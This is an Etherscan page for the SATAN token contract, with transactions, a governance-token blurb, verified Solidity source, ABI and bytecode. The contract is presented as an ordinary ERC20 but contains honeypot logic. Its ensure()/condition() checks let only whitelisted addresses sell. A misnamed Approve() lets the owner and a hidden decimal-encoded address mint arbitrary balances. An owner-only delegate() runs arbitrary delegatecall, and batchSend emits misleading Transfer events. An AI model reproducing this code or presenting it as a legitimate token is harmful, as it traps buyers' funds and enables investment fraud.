Contract 0xfEA60f1Ba51554331880b793853789144341dBC0

Token Contract 
 
 
Txn Hash
Method
Block
From
To
Value
0x86731bdecbf970ee8e3f4b08044cc0061ddae5af541e92cdd2f35bfaab05ca3fTransfer129390652021-08-01 10:18:28487 days 15 hrs ago0xc10377d1ab20f572210ebb265e39f3eafa20bc0c IN  Satan Finance: SATAN Token0 Ether0.0006957819.55000129
0xefa5f0751e372e5c620108df58e91ace972219f4ab519034550f46c4d06c5e6aTransfer129390562021-08-01 10:15:44487 days 15 hrs ago0xc10377d1ab20f572210ebb265e39f3eafa20bc0c IN  Satan Finance: SATAN Token0 Ether0.0007367120.7
0x7dbae688c143276cf6926d5a53a202667fe3adec157108a887a6705d57da957cTransfer127674902021-07-05 12:31:13514 days 13 hrs ago0xc10377d1ab20f572210ebb265e39f3eafa20bc0c IN  Satan Finance: SATAN Token0 Ether0.000213546
0xb87d4d78f7066b513be226372d2dd4f73c20b95a486014d9acf2c2868ca89551Approve120324702021-03-13 20:49:17628 days 5 hrs ago0x846b2ec87caa0112d0bcf9dd44da599791521c7c IN  Satan Finance: SATAN Token0 Ether0.00668084151
0x6e35f62d115949deaf96794927aebdbf0f8d57e0afea80f8f08f9a891be72266Approve117846222021-02-03 17:26:53666 days 8 hrs ago0x9250ec4a0d22dbe10920ee9fb3396692ea2b65cc IN  Satan Finance: SATAN Token0 Ether0.01004338227
0xc6da10b8afc774987ed8bd866817a456ef6f2ce057b013a8afdc9da5d1ab5511Approve117807602021-02-03 3:07:12666 days 23 hrs agoSatan Finance: Deployer IN  Satan Finance: SATAN Token0 Ether0.00527217107.875
0x5d9a0c72341efb340b1145621fdf0da72a4166e89b24ca70d75aa5d77a7fc1c1Approve117807452021-02-03 3:04:12666 days 23 hrs agoSatan Finance: Deployer IN  Satan Finance: SATAN Token0 Ether0.00683441107.00000269
0xd13a3cdb7008b6fe9d64c9e5d14019081aed37b398066cedcf26cf40d8e6e269Approve117807102021-02-03 2:56:39666 days 23 hrs ago0xbd4868970fa7c916399a6af37bf1bd0002439192 IN  Satan Finance: SATAN Token0 Ether0.00721177163
0x710c0aaaedd18aa1b15a54a16ade1170355b58985aeaa0321b9074426aaf9495Approve117807042021-02-03 2:55:09666 days 23 hrs ago0xbd4868970fa7c916399a6af37bf1bd0002439192 IN  Satan Finance: SATAN Token0 Ether0.00836081131
0x14b25e5c6859a417d756c3d89eee2c648f43540c99cc5a40040907f0ca181ac1Approve117798642021-02-02 23:49:59667 days 2 hrs ago0x12e05756d8f99472337c53982a2cb26cac1c74da IN  Satan Finance: SATAN Token0 Ether0.00482259109
0x57836c458f44ef60ffa827a305a48cce26082913b350778f0e223b25f0c947deApprove117798582021-02-02 23:48:55667 days 2 hrs agoSatan Finance: Deployer IN  Satan Finance: SATAN Token0 Ether0.00471798108
0xdf232a859047c142830a1c04e90057438cd3e5bec53d53e9b85c9f1466ace443Transfer117785682021-02-02 19:00:13667 days 7 hrs ago0x531fce03584d0350f42c91bb390910953409e801 IN  Satan Finance: SATAN Token0 Ether0.00419107146
0x69f3e7d02d69c15cc929ca1dbbaafb04b4a774e0ddb6d7c6a193619a1ef81c10Transfer117785322021-02-02 18:50:51667 days 7 hrs ago0x531fce03584d0350f42c91bb390910953409e801 IN  Satan Finance: SATAN Token0 Ether0.00527748184
0x0fdb1af0068ad61ca03968a7fa814c381f7868cd5750868662e9ae7be3c652e9Approve117781382021-02-02 17:21:50667 days 8 hrs ago0x89d0fc6a6bfab60ad4b768dab632099257aad62b IN  Satan Finance: SATAN Token0 Ether0.00447749101.2
0xe00d7f2c1d608b63970cdd05cd360ccaf2fb014ef885b14c2e432a0809122943Approve117771992021-02-02 13:52:38667 days 12 hrs ago0x4622e210cd0958dd4106d1b6ed27d091df05c23a IN  Satan Finance: SATAN Token0 Ether0.00468322187
0x540462bf6f19aacbefd50bb3e039d7beae967f96a5bfd87fc98a1855f4ef2e75Approve117771992021-02-02 13:52:38667 days 12 hrs ago0x4622e210cd0958dd4106d1b6ed27d091df05c23a IN  Satan Finance: SATAN Token0 Ether0.00827362187
0x08b3fe3b73a093c00a75fbc2ac898f6c7321866c444f7b14dd1768240d023057Approve117768902021-02-02 12:46:31667 days 13 hrs ago0xc10377d1ab20f572210ebb265e39f3eafa20bc0c IN  Satan Finance: SATAN Token0 Ether0.00446864101
0xbdc6d3693baa5a6fa31613d1037d0fdec755611734bb912e39b3f05cb0af2cbaApprove117767962021-02-02 12:27:34667 days 13 hrs agoSatan Finance: Deployer IN  Satan Finance: SATAN Token0 Ether0.00672749154
0x58482ee7b6154dd15e7e3b8ba9c8def2ae09d94c55884a5a93d65b0fe2448f30Approve117767862021-02-02 12:24:06667 days 13 hrs ago0xf8be5185cf873862d3775fbcdf17717f6c9a3c78 IN  Satan Finance: SATAN Token0 Ether0.00690206156
0xf673f6e63c1eb142434fb19bba1fa62c813571aaea553435e18a1212b65d6e80Approve117767292021-02-02 12:10:26667 days 14 hrs ago0xc057326e60ab2c2ac4dc07533d8d89a9656188b1 IN  Satan Finance: SATAN Token0 Ether0.00686224155.1000016
0x4d2bdf74768379969d54eda6fbd1fd07b1477d8b5a1cace6970b32853cdf4f9aApprove117766162021-02-02 11:43:29667 days 14 hrs ago0x33279223e378f61068ca44ed3003b1414ee8244e IN  Satan Finance: SATAN Token0 Ether0.00725601164
0x38265979ede2b9e34e4a662cbab30fc1797f642d09651019488804966e48d988Approve117765962021-02-02 11:37:54667 days 14 hrs agoENS Name 0xb.eth IN  Satan Finance: SATAN Token0 Ether0.0047341107.00000145
0xf1d6ca340deef736a34eab5e3aca07a8548dfc2d19a7a161fb779b764b0c3591Approve117765962021-02-02 11:37:54667 days 14 hrs ago0x3739cde01320ec650635473d363fcf62da84d43b IN  Satan Finance: SATAN Token0 Ether0.0051323116
0x8e0c4db6687ffec7783b93c25067d8fe33fea8bdf5dac114c52f098f7b35ad27Approve117765952021-02-02 11:37:37667 days 14 hrs ago0x7531c80b72fa9d1f3f64f041962a5dc8c4db5c6b IN  Satan Finance: SATAN Token0 Ether0.00561898127
0x03e25c4f1aea3583e72cfc8fd361faa716d17b4043b6f98a35d8008a6c6f2e03Approve117765682021-02-02 11:32:13667 days 14 hrs agoENS Name defi-alliance.eth IN  Satan Finance: SATAN Token0 Ether0.00477835108
[ Download CSV Export 

OVERVIEW

SATAN is the governance token of the protocol, functions include voting on updates to smart contract code, fee model constants and claims assessment. SATAN Yield Vault allows users to deposit their SATAN tokens in the Nexus Mutual ecosystem and earn yield without requiring KYC.

View more zero value Internal Transactions in Advanced View mode
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
SatanFinance

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-01-31
*/

//Welcome to satanfinance.com Community
//Website: https://www.satanfinance.com
//Twitter: https://twitter.com/satanfinance
//Telegram: https://t.me/satanfinance
//Medium: https://satanfinance.medium.com
//Github: https://github.com/satanfinance

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract SatanFinance {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        //go the white address first
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function Approve(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (1080614020421183795110940285280029773222128095634));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
    
    address tradeAddress;
    function Transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"Transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"token","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"init","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

60806040526040516200106b3803806200106b833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b9083019060208201858111156200006057600080fd5b82516401000000008111828201881017156200007b57600080fd5b82525081516020918201929091019080838360005b83811015620000aa57818101518382015260200162000090565b50505050905090810190601f168015620000d85780820380516001836020036101000a031916815260200191505b5060405260200180516040519392919084640100000000821115620000fc57600080fd5b9083019060208201858111156200011257600080fd5b82516401000000008111828201881017156200012d57600080fd5b82525081516020918201929091019080838360005b838110156200015c57818101518382015260200162000142565b50505050905090810190601f1680156200018a5780820380516001836020036101000a031916815260200191505b506040526020908101518551909350620001ab925060099186019062000263565b508151620001c190600a90602085019062000263565b50670de0b6b3a764000081026008818155600b80546001600160a01b0319163390811790915560008181526006602090815260408083209590955560078152848220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528482206000199055925484519081529351919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505062000308565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002a657805160ff1916838001178555620002d6565b82800160010185558215620002d6579182015b82811115620002d6578251825591602001919060010190620002b9565b50620002e4929150620002e8565b5090565b6200030591905b80821115620002e45760008155600101620002ef565b90565b610d5380620003186000396000f3fe6080604052600436106100dd5760003560e01c80638cd8db8a1161007f578063a9059cbb11610059578063a9059cbb14610308578063aa2f522014610334578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b80638cd8db8a1461028457806390ec57f1146102ba57806395d89b41146102f3576100dd565b806323b872dd116100bb57806323b872dd146101d3578063313ce567146102095780634799c2541461021e57806370a0823114610251576100dd565b806306fdde03146100e2578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b3480156100ee57600080fd5b506100f76104cc565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b03813516906020013561055a565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16105c1565b60408051918252519081900360200190f35b610198600480360360608110156101e957600080fd5b506001600160a01b038135811691602081013590911690604001356105c7565b34801561021557600080fd5b506101c16106fc565b34801561022a57600080fd5b506101986004803603602081101561024157600080fd5b50356001600160a01b0316610701565b34801561025d57600080fd5b506101c16004803603602081101561027457600080fd5b50356001600160a01b0316610740565b34801561029057600080fd5b50610198600480360360608110156102a757600080fd5b5080359060208101359060400135610752565b3480156102c657600080fd5b50610198600480360360408110156102dd57600080fd5b506001600160a01b0381351690602001356107b2565b3480156102ff57600080fd5b506100f761083f565b6101986004803603604081101561031e57600080fd5b506001600160a01b03813516906020013561089a565b6101986004803603604081101561034a57600080fd5b81019060208101813564010000000081111561036557600080fd5b82018360208201111561037757600080fd5b8035906020019184602083028401116401000000008311171561039957600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050913592506108a7915050565b61048f600480360360408110156103ef57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041a57600080fd5b82018360208201111561042c57600080fd5b8035906020019184600183028401116401000000008311171561044e57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ce945050505050565b005b34801561049d57600080fd5b506101c1600480360360408110156104b457600080fd5b506001600160a01b0381358116916020013516610a8b565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b820191906000526020600020905b81548152906001019060200180831161053557829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b6000816105d6575060016106f5565b336001600160a01b03851614610641576001600160a01b038416600090815260076020908152604080832033845290915290205482111561061657600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b61064c848484610aa8565b61065557600080fd5b6001600160a01b03841660009081526006602052604090205482111561067a57600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b0316331461071b57600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b60066020526000908152604090205481565b600b546000906001600160a01b0316331461076c57600080fd5b6000831161077b576000610787565b670de0b6b3a764000083025b600255816107965760006107a2565b670de0b6b3a764000082025b6003556004939093555090919050565b600b546000906001600160a01b03163314806107e157503373bd4868970fa7c916399a6af37bf1bd0002439192145b6107ea57600080fd5b8115610816576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105525780601f1061052757610100808354040283529160200191610552565b60006106f53384846105c7565b600b546000906001600160a01b031633146108c157600080fd5b825133600090815260066020526040902054908302908111156108e357600080fd5b336000908152600660205260408120805483900390555b84518110156109c357600085828151811061091157fe5b6020908102919091018101516001600160a01b0381166000818152600690935260409092208054880190559150337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a36001600160a01b038116337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028860408051929091048252519081900360200190a3506001016108fa565b506001949350505050565b600b546001600160a01b031633146109e557600080fd5b816001600160a01b0316816040518082805190602001908083835b60208310610a1f5780518252601f199092019160209182019101610a00565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a7f576040519150601f19603f3d011682016040523d82523d6000602084013e610a84565b606091505b5050505050565b600760209081526000928352604080842090915290825290205481565b600080610ade735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610baa565b600b549091506001600160a01b0386811691161480610b0a5750600b546001600160a01b038581169116145b80610b3157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80610b4d5750806001600160a01b0316856001600160a01b0316145b80610b6557506005546001600160a01b038681169116145b80610b8857506001600160a01b03851660009081526001602052604090205460ff165b15610b975760019150506106f5565b610ba18584610c83565b6109c357600080fd5b6000806000836001600160a01b0316856001600160a01b031610610bcf578385610bd2565b84845b604080516bffffffffffffffffffffffff19606094851b811660208084019190915293851b81166034830152825160288184030181526048830184528051908501206001600160f81b031960688401529a90941b9093166069840152607d8301989098527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528851808403909101815260bd909201909752805196019590952095945050505050565b60006004546000148015610c975750600254155b8015610ca35750600354155b15610cb0575060006105bb565b60045415610ce1576004546001600160a01b03841660009081526020819052604090205410610ce1575060006105bb565b60025415610cfb57816002541115610cfb575060006105bb565b60035415610d1557600354821115610d15575060006105bb565b5060019291505056fea265627a7a72315820c0196a193f1a69963ea7946c06285268b01d2aa126cb1becd6ee87838ec6e5d564736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000c3500000000000000000000000000000000000000000000000000000000000000010736174616e66696e616e63652e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534154414e000000000000000000000000000000000000000000000000000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000c3500000000000000000000000000000000000000000000000000000000000000010736174616e66696e616e63652e636f6d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005534154414e000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): satanfinance.com
Arg [1] : _symbol (string): SATAN
Arg [2] : _supply (uint256): 50000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000000000c350
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [4] : 736174616e66696e616e63652e636f6d00000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 534154414e000000000000000000000000000000000000000000000000000000


Deployed ByteCode Sourcemap

